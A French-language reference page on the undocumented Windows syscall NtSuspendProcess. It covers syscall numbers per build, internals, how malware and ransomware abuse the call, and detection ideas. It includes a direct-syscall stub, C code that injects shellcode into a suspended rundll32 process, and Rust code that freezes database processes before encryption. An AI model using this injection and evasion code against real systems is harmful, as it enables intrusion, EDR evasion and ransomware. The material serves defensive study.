NtSuspendProcess
Suspend tous les threads d'un processus cible en incrémentant le compteur de suspension de chacun.
Prototype
NTSTATUS NtSuspendProcess( HANDLE ProcessHandle );
Arguments
| Name | Type | Dir | Description |
|---|---|---|---|
| ProcessHandle | HANDLE | in | Handle vers le processus à suspendre. Requiert PROCESS_SUSPEND_RESUME. |
IDs de syscalls par version de Windows
| Version de Windows | ID de syscall | Build |
|---|---|---|
| Win10 1507 | 0x19F | win10-1507 |
| Win10 1607 | 0x1A8 | win10-1607 |
| Win10 1703 | 0x1AE | win10-1703 |
| Win10 1709 | 0x1B1 | win10-1709 |
| Win10 1803 | 0x1B3 | win10-1803 |
| Win10 1809 | 0x1B4 | win10-1809 |
| Win10 1903 | 0x1B5 | win10-1903 |
| Win10 1909 | 0x1B5 | win10-1909 |
| Win10 2004 | 0x1BB | win10-2004 |
| Win10 20H2 | 0x1BB | win10-20h2 |
| Win10 21H1 | 0x1BB | win10-21h1 |
| Win10 21H2 | 0x1BD | win10-21h2 |
| Win10 22H2 | 0x1BD | win10-22h2 |
| Win11 21H2 | 0x1C7 | win11-21h2 |
| Win11 22H2 | 0x1CB | win11-22h2 |
| Win11 23H2 | 0x1CB | win11-23h2 |
| Win11 24H2 | 0x1CE | win11-24h2 |
| Server 2016 | 0x1A8 | winserver-2016 |
| Server 2019 | 0x1B4 | winserver-2019 |
| Server 2022 | 0x1C3 | winserver-2022 |
| Server 2025 | 0x1CE | winserver-2025 |
Module noyau
APIs liées
Stub du syscall
4C 8B D1 mov r10, rcx B8 CE 01 00 00 mov eax, 0x1CE F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Notes non documentées
NtSuspendProcess est exporté par ntdll mais n'est pas documenté dans le SDK Windows public ; la route supportée est le wrapper Win32 (`SuspendThread` sur chaque thread). En interne il parcourt l'EPROCESS ThreadListHead et appelle KeSuspendThread sur chaque entrée, donc un compteur de suspension par thread est maintenu — un processus suspendu N fois nécessite N resumes. Le SSN monte régulièrement à travers les builds (0x19F → 0x1CE) à mesure que de nouveaux syscalls sont insérés en fin de SSDT ; la résolution dynamique est obligatoire.
Usage courant par les malwares
L'usage le plus connu est le modèle **Fork & Run** de Cobalt Strike / BruteRatel avec processus sacrificiel : spawn d'un processus bénin (rundll32.exe canoniquement) suspendu, injection du BOF / object file de l'outil post-exploitation, exécution, puis terminate ou suspend en attente d'exfil. NtSuspendProcess figure aussi dans les **sleeps d'évasion AV** — au lieu de dormir dans l'implant (qui reste schedulé et scannable), l'implant suspend un processus helper sœur tandis que les callbacks ETW se déclenchent moins. Les ransomwares l'utilisent avant chiffrement pour figer les bases de données (`sqlservr.exe`, `oracle.exe`, `mongod.exe`) afin que les handles de fichier soient libérés et que les lock files ne bloquent pas le chiffrement sur place (LockBit, Royal, BlackCat le font tous). Enfin, les attaquants suspendent des processus helper / scanner d'EDR protégés contre la terminaison mais pas contre la suspension.
Opportunités de détection
La télémétrie est rare — il n'y a pas d'événement Sysmon pour la suspension de processus, et l'instrumentation Win32 SuspendThread capture rarement tous les threads d'un EPROCESS en un tick. Sources utiles : les transitions d'état style `Microsoft-Windows-Kernel-Process/ThreadStop` ETW manquent, mais `Microsoft-Windows-Kernel-Audit-API-Calls` couvre les appels Nt*Process quand l'audit policy l'active. Heuristique : un processus avec des handles PROCESS_SUSPEND_RESUME sur des processus non-enfant, en particulier d'images de sécurité ou de base de données, est suspect. Coupler la détection de NtSuspendProcess avec un NtWriteVirtualMemory + NtResumeProcess subséquents du même appelant pour un alerting Fork & Run à haute confiance.
Exemples de syscalls directs
asmx64 direct stub (Win11 24H2)
; Direct syscall stub for NtSuspendProcess (SSN 0x1CE on 24H2/2025)
; SSN climbs every release — resolve dynamically across builds.
NtSuspendProcess PROC
mov r10, rcx ; syscall convention
mov eax, 1CEh ; SSN
syscall
ret
NtSuspendProcess ENDPcFork & Run sacrificial spawn
// Sacrificial-process pattern: spawn rundll32.exe suspended, then
// inject and execute a BOF or shellcode inside it. The host implant
// stays clean — only the helper carries the suspicious memory.
#include <windows.h>
typedef NTSTATUS (NTAPI *pNtSuspendProcess)(HANDLE);
typedef NTSTATUS (NTAPI *pNtResumeProcess)(HANDLE);
void ForkAndRun(LPVOID shellcode, SIZE_T shellcode_len) {
STARTUPINFOW si = { sizeof si };
PROCESS_INFORMATION pi;
CreateProcessW(L"C:\\Windows\\System32\\rundll32.exe", NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW,
NULL, NULL, &si, &pi);
PVOID remote = NULL;
SIZE_T size = shellcode_len;
NtAllocateVirtualMemory(pi.hProcess, &remote, 0, &size,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(pi.hProcess, remote, shellcode, shellcode_len, NULL);
HANDLE hThread = NULL;
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, pi.hProcess,
remote, NULL, 0, 0, 0, 0, NULL);
// pi.hThread stays suspended; only the BOF thread runs to completion.
}rustfreeze DBs before encryption
// Cargo: windows-sys = "0.59"
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_SUSPEND_RESUME};
extern "system" { fn NtSuspendProcess(handle: HANDLE) -> i32; }
pub unsafe fn freeze(pids: &[u32]) {
for &pid in pids {
let h = OpenProcess(PROCESS_SUSPEND_RESUME, 0, pid);
if !h.is_null() { NtSuspendProcess(h); }
}
}Mappings MITRE ATT&CK
Last verified: 2026-05-20